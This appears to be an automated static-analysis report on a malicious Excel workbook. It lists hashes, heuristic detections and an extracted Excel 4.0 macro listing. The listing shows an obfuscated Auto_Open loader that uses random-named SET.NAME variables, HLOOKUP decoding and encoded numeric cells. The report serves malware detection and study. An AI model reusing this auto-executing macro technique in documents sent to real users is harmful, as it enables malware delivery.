Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48a3e9b980b570c4…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:07 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 7e9e621951f87f91f15444709b64d660 SHA-1: 5491ca45fc97c4e1f309626c0cd36fea28eea568 SHA-256: 48a3e9b980b570c4414685c37a4cce6a81e32005c825559bc6049f5045385242
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6607 bytes
SHA-256: 04ffc0055773a947c0314a7dbf28835e9f2635f8dfd24dbb277196dbd7caad7c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ujB
' 0018     26 LABEL : Cell Value, String Constant - ALDdTCNgvWm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A182 
' 0018     22 LABEL : Cell Value, String Constant - CvJSLWb len=0 
' 0018     25 LABEL : Cell Value, String Constant - czZIGNsypk len=0 
' 0018     21 LABEL : Cell Value, String Constant - fKbZGt len=0 
' 0018     20 LABEL : Cell Value, String Constant - fZbWc len=0 
' 0018     20 LABEL : Cell Value, String Constant - goOLw len=0 
' 0018     25 LABEL : Cell Value, String Constant - IhteVvUCGu len=0 
' 0018     21 LABEL : Cell Value, String Constant - KuqOZr len=0 
' 0018     25 LABEL : Cell Value, String Constant - MDhgfqsQKT len=0 
' 0018     26 LABEL : Cell Value, String Constant - MqSRXEBwwmA len=0 
' 0018     27 LABEL : Cell Value, String Constant - noVIqRngtYMi len=0 
' 0018     23 LABEL : Cell Value, String Constant - nwhGNVOB len=0 
' 0018     26 LABEL : Cell Value, String Constant - OsVzEOMDVUf len=0 
' 0018     20 LABEL : Cell Value, String Constant - PSqWY len=0 
' 0018     24 LABEL : Cell Value, String Constant - PXgHNRovV len=0 
' 0018     24 LABEL : Cell Value, String Constant - rlJLSSOnX len=0 
' 0018     21 LABEL : Cell Value, String Constant - TlAlUM len=0 
' 0018     22 LABEL : Cell Value, String Constant - uqmmPIi len=0 
' 0018     25 LABEL : Cell Value, String Constant - zBDHBQOPSd len=0 
' 0018     23 LABEL : Cell Value, String Constant - ziPKQgzt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ujB,Q77,"",801.00000000000000000000
'  ujB,Q78,"",-664.00000000000000000000
'  ujB,Q79,"",252.00000000000000000000
'  ujB,Q80,"",917.00000000000000000000
'  ujB,Q81,"",-382.00000000000000000000
'  ujB,Q82,"",-773.00000000000000000000
'  ujB,A90,"SET.NAME("ALDdTCNgvWm",0+VALUE("0"))",""
'  ujB,A93,"SET.NAME("fZbWc",ALDdTCNgvWm)",""
'  ujB,A96,"SET.NAME("zBDHBQOPSd",ALDdTCNgvWm)",""
'  ujB,A101,"SET.NAME("IhteVvUCGu",COUNTA(czZIGNsypk))",""
'  ujB,A103,"SET.NAME("TlAlUM",COUNTA(goOLw))",""
'  ujB,A108,[],""
'  ujB,A113,"SET.NAME("uqmmPIi","")",""
'  ujB,A118,"fZbWc",""
'  ujB,A122,"SET.NAME("noVIqRngtYMi",HLOOKUP("*",czZIGNsypk,fZbWc,FALSE))",""
'  ujB,A126,"PXgHNRovV",""
'  ujB,A131,"SET.NAME("nwhGNVOB",ALDdTCNgvWm)",""
'  ujB,A135,[],""
'  ujB,A138,"nwhGNVOB",""
'  ujB,A143,"PSqWY",""
'  ujB,A147,"MDhgfqsQKT",""
'  ujB,A149,"OsVzEOMDVUf",""
'  ujB,A151,"SET.NAME("KuqOZr",VALUE(HLOOKUP("*",goOLw,OsVzEOMDVUf,FALSE)))",""
'  ujB,A154,"rlJLSSOnX",""
'  ujB,A156,"uqmmPIi",""
'  ujB,A159,"zBDHBQOPSd",""
'  ujB,A161,NEXT(),""
'  ujB,A163,"CvJSLWb",""
'  ujB,A166,[],""
'  ujB,A170,"ziPKQgzt",""
'  ujB,A175,NEXT(),""
'  ujB,A177,RETURN(),""
'  ujB,A202,"SET.NAME("MqSRXEBwwmA",A90)",""
'  ujB,A206,"czZIGNsypk",""
'  ujB,A211,"SET.NAME("goOLw",R93C12)",""
'  ujB,A213,"SET.NAME("ziPKQgzt",221)",""
'  ujB,A217,"SET.NAME("fKbZGt",1)",""
'  ujB,A220,MqSRXEBwwmA(),""
'  ujB,A221,HALT(),""